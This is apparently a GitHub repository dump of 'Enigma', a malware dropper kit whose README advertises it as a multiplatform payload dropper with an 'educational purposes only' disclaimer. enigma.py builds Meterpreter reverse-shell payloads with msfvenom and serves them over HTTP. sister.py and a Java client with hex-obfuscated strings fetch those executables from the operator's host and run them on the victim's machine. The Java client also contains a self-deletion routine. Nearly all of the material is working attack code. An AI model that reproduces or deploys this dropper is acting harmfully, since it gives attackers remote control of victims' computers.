├── Output └── inf.txt ├── Server ├── x64 │ └── inf.txt └── x86 │ └── inf.txt ├── Images ├── sc.png ├── enigma.png ├── video.png └── donation.png ├── Clients ├── sister.py └── esposaDropper │ └── src │ └── esposaDropper │ └── EsposaDropper.java ├── LICENSE ├── README.md └── enigma.py /Output/inf.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Server/x64/inf.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Server/x86/inf.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Images/sc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UndeadSec/Enigma/HEAD/Images/sc.png -------------------------------------------------------------------------------- /Images/enigma.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UndeadSec/Enigma/HEAD/Images/enigma.png -------------------------------------------------------------------------------- /Images/video.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UndeadSec/Enigma/HEAD/Images/video.png -------------------------------------------------------------------------------- /Images/donation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UndeadSec/Enigma/HEAD/Images/donation.png -------------------------------------------------------------------------------- /Clients/sister.py: -------------------------------------------------------------------------------- 1 | from platform import platform, architecture # Importa a função para obter o OS e arquitetura 2 | from urllib import urlretrieve # Importa a função para fazer download de arquivos 3 | from subprocess import call # Importa a função para chamar comandos no shell 4 | def obterArch(): 5 | global arch 6 | if architecture()[0] == '64bit': 7 | arch = 'x64' 8 | else: 9 | arch = 'x86' 10 | 11 | def obterOS(): # Função para definir o OS 12 | if platform()[0] == 'W': 13 | return True 14 | else: 15 | return False 16 | 17 | def init(): # Função para fazer o download do arquivo e chamar no shell 18 | urlF = 'http://%s/%s/%s' % (host, arch, url) 19 | urlretrieve(urlF, url) 20 | if obterOS() == True: 21 | call('call ' + url, shell=True) 22 | else: 23 | call('chmod +x ' + url, shell=True) 24 | call('./' + url, shell=True) 25 | 26 | def main(): # Função Principal, define variavéis 27 | global url 28 | obterArch() 29 | if obterOS() == True: 30 | url = 'win.exe' 31 | else: 32 | url = 'lin.elf' 33 | init() 34 | 35 | if __name__ == "__main__": # Inicia o Script 36 | main() 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2017, Undead Sec 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

Enigma

2 |

3 | Multiplatform payload dropper. 4 |

5 | 6 | ## VIDEO DEMO 7 |

8 | 9 | 10 |

11 | 12 | ### CLONE 13 | ``` 14 | git clone https://github.com/UndeadSec/Enigma.git 15 | ``` 16 | 17 | ### RUNNING 18 | ``` 19 | cd Enigma 20 | ``` 21 | 22 | ``` 23 | python enigma.py 24 | or 25 | python3 enigma3.py 26 | ``` 27 | ## DISCLAIMER 28 |

29 | TO BE USED FOR EDUCATIONAL PURPOSES ONLY 30 |

31 | 32 | The use of the Enigma is COMPLETE RESPONSIBILITY of the END-USER. Developer assume NO liability and are NOT responsible for any misuse or damage caused by this program. 33 | 34 | "DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 35 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 36 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 37 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 38 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 39 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 40 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." 41 | Taken from [LICENSE](LICENSE). 42 | 43 | ### PREREQUISITES 44 | 45 | * python 2.7 for enigma.py 46 | * python 3.x for enigma.py 47 | * metasploit 48 | * msfvenom 49 | 50 | ## TESTED ON 51 | [![Kali)](https://www.google.com/s2/favicons?domain=https://www.kali.org/)](https://www.kali.org) **Kali Linux - ROLLING EDITION** 52 | 53 | ## Donation 54 | If you liked our work and want to support us, you can donate :D 55 | 56 | 57 | 58 | Bitcoin Address: 1EmJ5KiAKzpyqGGHopAq9qukrVPS47T9bA 59 | 60 | ### SCREENSHOT 61 | ![Shot](https://github.com/UndeadSec/Enigma/blob/master/Images/sc.png) 62 | -------------------------------------------------------------------------------- /Clients/esposaDropper/src/esposaDropper/EsposaDropper.java: -------------------------------------------------------------------------------- 1 | package esposaDropper; 2 | 3 | import java.io.BufferedInputStream; 4 | import java.io.File; 5 | import java.io.FileOutputStream; 6 | import java.io.IOException; 7 | import java.net.MalformedURLException; 8 | import java.net.URL; 9 | 10 | public class EsposaDropper { 11 | 12 | private static String amd64 = "616d643634"; 13 | private static String arch; 14 | private static String OS; 15 | private static String windows = "77696e646f7773"; 16 | private static String linux = "6c696e7578"; 17 | private static String droped; 18 | private static String url = "687474703a2f2f25732f25732f2573"; 19 | private static String host = "3132372e302e302e31"; 20 | 21 | /** 22 | * Esposa quer saber a arquitetura do sistema operacional 23 | * 24 | * @return String 25 | */ 26 | private static void setArch() { 27 | if (System.getProperty(ahamTah("6f732e61726368")).equals(ahamTah(amd64))) { 28 | arch = ahamTah("783634"); 29 | } else { 30 | arch = ahamTah("783836"); 31 | } 32 | } 33 | 34 | /** 35 | * Esposa quer saber seu sistema operacional 36 | * 37 | * @return String 38 | */ 39 | private static void setSO() { 40 | String so = System.getProperty(ahamTah("6f732e6e616d65")).toLowerCase(); 41 | if (so.indexOf(ahamTah("77696e")) >= 0) { 42 | OS = ahamTah(windows); 43 | } else if (so.indexOf(ahamTah("6e6978")) >= 0 || so.indexOf(ahamTah("6e7578")) >= 0 44 | || so.indexOf(ahamTah("616978")) > 0) { 45 | OS = ahamTah(linux); 46 | } else { 47 | OS = ahamTah("646573636f6e68656369646f"); 48 | System.exit(0); 49 | } 50 | 51 | if (OS.equals(ahamTah(windows))) { 52 | droped = ahamTah("77696e2e657865"); 53 | } else if (OS.equals(ahamTah(linux))) { 54 | droped = ahamTah("6c696e2e656c66"); 55 | } 56 | } 57 | 58 | /** 59 | * Esposa implanta o arquivo no seu computador 60 | * 61 | * @throws IOException 62 | * @throws MalformedURLException 63 | */ 64 | private static void implantar() throws MalformedURLException, IOException { 65 | url = String.format(ahamTah(url), ahamTah(host), arch, droped); 66 | BufferedInputStream in = null; 67 | FileOutputStream fout = null; 68 | String local = System.getProperty(ahamTah("6a6176612e696f2e746d70646972")) + File.separator + droped; 69 | try { 70 | in = new BufferedInputStream(new URL(url).openStream()); 71 | fout = new FileOutputStream(local); 72 | 73 | final byte data[] = new byte[1024]; 74 | int count; 75 | while ((count = in.read(data, 0, 1024)) != -1) { 76 | fout.write(data, 0, count); 77 | } 78 | } finally { 79 | if (in != null) { 80 | in.close(); 81 | } 82 | if (fout != null) { 83 | fout.close(); 84 | } 85 | } 86 | new File(local).setExecutable(true); 87 | Runtime.getRuntime().exec(local); 88 | //desquite(); 89 | } 90 | 91 | /** 92 | * Esposa pede desquite 93 | * 94 | * @throws IOException 95 | */ 96 | private static void desquite() throws IOException { 97 | String del = new java.io.File(".").getCanonicalPath() + File.separator + EsposaDropper.class.getSimpleName() 98 | + ahamTah("2e6a617661"); 99 | new File(del).delete(); 100 | } 101 | 102 | /** 103 | * Traduz o que esposa fala 104 | * 105 | * @param blaBlaBla 106 | * @return String 107 | */ 108 | private static String ahamTah(String blaBlaBla) { 109 | StringBuilder str = new StringBuilder(); 110 | for (int i = 0; i < blaBlaBla.length(); i += 2) { 111 | str.append((char) Integer.parseInt(blaBlaBla.substring(i, i + 2), 16)); 112 | } 113 | return str.toString(); 114 | } 115 | 116 | public static void main(String[] args) throws MalformedURLException, IOException { 117 | iniciarVariaveis(); 118 | implantar(); 119 | } 120 | 121 | /** 122 | * Faz a esposa inicializar as variaveis 123 | */ 124 | private static void iniciarVariaveis() { 125 | setArch(); 126 | setSO(); 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /enigma.py: -------------------------------------------------------------------------------- 1 | #-*- coding: utf-8 -*- 2 | #------------------------------------------------------ 3 | # 4 | # BY: UNDEADSEC from BRAZIL :) 5 | # Visit: https://www.youtube.com/c/UndeadSec 6 | # Github: https://github.com/UndeadSec/EvilURL 7 | #------------------------------------------------------ 8 | from subprocess import call 9 | from time import sleep 10 | from os import geteuid 11 | from sys import exit 12 | 13 | if not geteuid() == 0: 14 | exit('Enigma must be run as root') 15 | RED, WHITE, YELLOW, CIANO, GREEN, END = '\033[91m', '\33[46m', '\33[93m', '\33[36m', '\033[1;32m', '\033[0m' 16 | def message(): 17 | call('clear', shell=True) 18 | print ''' 19 | {1}:::::::::: :::: ::: ::::::::::: :::::::: :::: :::: ::: 20 | :+: :+:+: :+: :+: :+: :+: +:+:+: :+:+:+ :+: :+: 21 | +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ 22 | +#++:++# +#+ +:+ +#+ +#+ :#: +#+ +:+ +#+ +#++:++#++: {0} 23 | +#+ +#+ +#+#+# +#+ +#+ +#+# +#+ +#+ +#+ +#+ 24 | #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# 25 | ########## ### #### ########### ######## ### ### ### ### 26 | {1}DROPPER 27 | by: UNDEADSEC from BRazil'''.format(CIANO, END) 28 | def runServer(): 29 | print '\n {0}[{1}*{0}]{1} Starting Server... {2}H4ppy h4ck1ng {1}:)'.format(CIANO, END, GREEN) 30 | sleep(3) 31 | call('cd Server && python -m SimpleHTTPServer 80', shell=True) 32 | 33 | def generatePayloads(): 34 | call('rm -Rf Server/x64/* && rm -Rf Server/x86/*', shell=True) 35 | payloadLHOST= raw_input('\n {0}[{1}~{0}]{1} Insert your payload LHOST: '.format(CIANO, END)) 36 | payloadLPORT= raw_input('\n {0}[{1}~{0}]{1} Insert your payload LPORT: '.format(CIANO, END)) 37 | print '\n {0}[{1}~{0}]{1} Generating Payloads...'.format(CIANO, END) 38 | call('msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=' + payloadLHOST + ' LPORT=' + payloadLPORT + ' -f elf -o Server/x64/lin.elf', shell=True) 39 | call('msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=' + payloadLHOST + ' LPORT=' + payloadLPORT + ' -f elf -o Server/x86/lin.elf', shell=True) 40 | call('msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=' + payloadLHOST + ' LPORT=' + payloadLPORT + ' -f exe -o Server/x64/win.exe', shell=True) 41 | call('msfvenom -p windows/meterpreter/reverse_tcp LHOST=' + payloadLHOST + ' LPORT=' + payloadLPORT + ' -f exe -o Server/x86/win.exe', shell=True) 42 | 43 | def generateClient(): 44 | lhost= raw_input('\n {0}[{1}~{0}]{1} Insert your LHOST: '.format(CIANO, END)) 45 | template = open('Clients/sister.py', 'r') 46 | template = template.read() 47 | new = open('Output/sister.py', 'w') 48 | new.write('#!/usr/bin/python\n# -*- coding: utf-8 -*-\nhost = \'' + lhost + '\'\n') 49 | new.write(template) 50 | print '\n {0}[{1}~{0}]{1} Generating Clients...'.format(CIANO, END) 51 | sleep(3) 52 | print '\n {0}[{1}*{0}]{1} Process done.\n\n {2}[{1}*{2}] Clients saved to Output/{1}'.format(CIANO, END, GREEN) 53 | 54 | def init(): 55 | call('rm -Rf Server/x64/* && rm -Rf Server/x86/*', shell=True) 56 | print '\n {0}[{1}~{0}]{1} Arranging the house...'.format(CIANO, END) 57 | sleep(3) 58 | call('cp ' + win64 + ' Server/x64/win.exe', shell=True) 59 | call('cp ' + win86 + ' Server/x86/win.exe', shell=True) 60 | call('cp ' + lin64 + ' Server/x64/lin.elf', shell=True) 61 | call('cp ' + lin86 + ' Server/x86/lin.elf', shell=True) 62 | print '\n {0}[{1}*{0}]{1} Process done.'.format(CIANO, END) 63 | 64 | def main(): 65 | global win64, win86, lin64, lin86, mac64, mac86 66 | print ' Select an option:\n\n {0}[{1}1{0}]{1} Insert your custom payloads -> Recommended\n\n {0}[{1}2{0}]{1} Generate payloads with metasploit'.format(CIANO, END) 67 | ask = raw_input('\n{0} EN1GM4 {1}> '.format(CIANO, END)) 68 | if ask == '1': 69 | win64 = raw_input('\n {0}[{1}1{0}/{1}4{0}]{1} Insert Windows Payload x64 file path: '.format(CIANO, END)) 70 | win86 = raw_input('\n {0}[{1}2{0}/{1}4{0}]{1} Insert Windows Payload x86 file path: '.format(CIANO, END)) 71 | lin64 = raw_input('\n {0}[{1}3{0}/{1}4{0}]{1} Insert Linux Payload x64 file path: '.format(CIANO, END)) 72 | lin86 = raw_input('\n {0}[{1}4{0}/{1}4{0}]{1} Insert Linux Payload x86 file path: '.format(CIANO, END)) 73 | init() 74 | if ask == '2': 75 | generatePayloads() 76 | generateClient() 77 | runServer() 78 | 79 | message() 80 | main() 81 | --------------------------------------------------------------------------------